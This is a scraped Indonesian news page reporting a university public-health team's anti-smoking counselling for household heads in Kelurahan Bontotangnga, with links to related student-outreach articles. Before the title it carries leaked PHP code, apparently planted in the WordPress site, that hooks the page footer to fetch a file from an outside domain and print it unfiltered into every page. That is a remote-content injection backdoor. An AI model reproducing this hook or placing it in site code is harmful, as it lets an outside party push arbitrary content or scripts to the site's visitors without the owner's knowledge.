function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Edukasi Bahaya Rokok sebagai Upaya Perlindungan Kesehatan Keluarga: Penyuluhan oleh Posko 30 PBL II FKM Unhas di Kelurahan Bontotangnga - Suluh Nusantara

Home / Uncategorized

Sabtu, 25 Januari 2025 - 18:24 WIB

Edukasi Bahaya Rokok sebagai Upaya Perlindungan Kesehatan Keluarga: Penyuluhan oleh Posko 30 PBL II FKM Unhas di Kelurahan Bontotangnga

Dalam rangka meningkatkan pengetahuan kepala rumah tangga mengenai bahaya rokok, Posko 30 Praktik Belajar Lapangan (PBL) II Fakultas Kesehatan Masyarakat Universitas Hasanuddin menyelenggarakan intervensi berupa Penyuluhan bahaya merokok kepada kepala rumah tangga. Kegiatan ini dilakukan pada tanggal 25 Januari 2025. Adapun tempat pelaksanaan intervensi dilakukan di Lingkungan Borongtammatea, Lingkungan BumbungLoe dan Lingkungan Sangingloe. Kegiatan ini dilaksanakan sebagai salah satu upaya dalam meningkatkan pengetahuan kepala keluarga di Kelurahan Bontotangnga terkait bahaya merokok, khususnya bahaya rokok terhadap pertumbuhan dan perkembangan Baduta serta ibu hamil.

Posko 30 PBL II FKM UNHAS terdiri dari 1 Dosen Supervisor yaitu Rosa Devitha Ayu, SKM., MPH dan 6 mahasiswa FKM Unhas yaitu Siti Khadijah Nur Ramadhani AS dari Departemen Kesehatan Lingkungan, Nurul Wahyuni dari Departemen Biostatistik KKB, Zahrah Atirah dari Departemen Kesehatan dan Keselamatan Kerja, Mutiah Alawiah dari Depertemen Administrati dan Kebijakan Kesehatan, Nur Qalbi dari Departemen Epidemiologi, dan Muh.Fauzan Idha dari Departemen Kesehatan dan Keselamatan Kerja.

Baca Juga  "Mahasiswa Posko 3 PBL FKM Unhas Dukung Pencapaian Tujuan SDGs dengan Ular Tangga Edukatif tentang Pencegahan Pernikahan Dini"

Kegiatan Intervensi ini diawali dengan pemberian pre test, kemudian dilanjutkan dengan penyuluhan berisi data tentang bahaya rokok, dampak rokok, dan keterkaitan rokok dengan stunting. Setelah penyuluhan sasaran diberikan tontonan video yang berhubungan dengan materi penyuluhan. Di akhir kegiatan, dilakukan sesi diskusi bersama untuk mengukur tingkat pengetahuan peserta mengenai bahaya rokok.

Dengan adanya kegiatan ini, diharapkan dapat meningkatkan pengetahuan peserta (kepala rumah tangga) mengenai bahaya rokok terhadap perokok aktif maupun perokok pasif. Kegiatan intervensi ini juga berhubungan dengan tujuan Suistainable Development Goals (SDGs) yang ke 3 yaitu menjamin kehidupan yang sehat dan meningkatkan kesejahteraan seluruh penduduk semua usia. Rokok menjadi salah satu faktor penyebab munculnya penyakit tidak menular. Dari enam besar penyakit tidak menular yang menjadi prioritas Kementerian Kesehatan RI yaitu kanker, diabetes melitus, jantung, hipertensi, penyakit paru obstruktif kronik, dan asma; tembakau dan atau rokok merupakan salah satu faktor risiko pencetus dari lima di antara enam penyakit tersebut. Melalui kegiatan ini diharapkan dapat membantu dalam pencapaian tujuan SDGs yang ke-3.

Share :

Baca Juga

Uncategorized

KUMAN PERGI, SEHAT DI HATI: EDUKASI CUCI TANGAN PAKAI SABUN (CTPS) YANG BAIK DAN BENAR PADA IBU BADUTA

Uncategorized

SEMINAR AWAL PBL III FKM UNHAS DI DESA GUNUNG SILANU: POSKO 19 BAHAS EVALUASI PROGRAM KESEHATAN

Uncategorized

Posko 23 PBL II Fkm Universitas Hasanuddin Melakukan Intervensi Kesehatan Berupa Pemasangan Poster ”Cegah Stunting” di Desa Bontosunggu, Kecamatan Tamalatea, Kabupaten Jeneponto

Uncategorized

FKM Unhas Gelar Pengabdian Masyarakat di Kabupaten Maros, Pelatihan Eco-enzyme sebagai Pengolahan Limbah Domestik

Uncategorized

Mahasiswa KKN Profesi Kesehatan Unhas dan Warga Desa Pa’rasangan Beru Canangkan Program Care for Desa (CFD) sebagai Gerakan Bersama Cegah Stunting

Uncategorized

TRANSFORMASI SAMPAH DI SMPN 5 TAMALATEA MELALUI PROGRAM SABER (SAMPAH JADI BERKAH) YANG DILAKUKAN MAHASISWA PBL UNHAS DI JENEPONTO

Uncategorized

Mahasiswa KKN-PK 67 Universitas Hasanuddin Edukasi Keselamatan Kerja bagi Petani Cengkeh di Desa Parangloe, Bantaeng

Uncategorized

FKM Unhas Lepas Mahasiswa PBL II: Fokus Intervensi Stunting di Jeneponto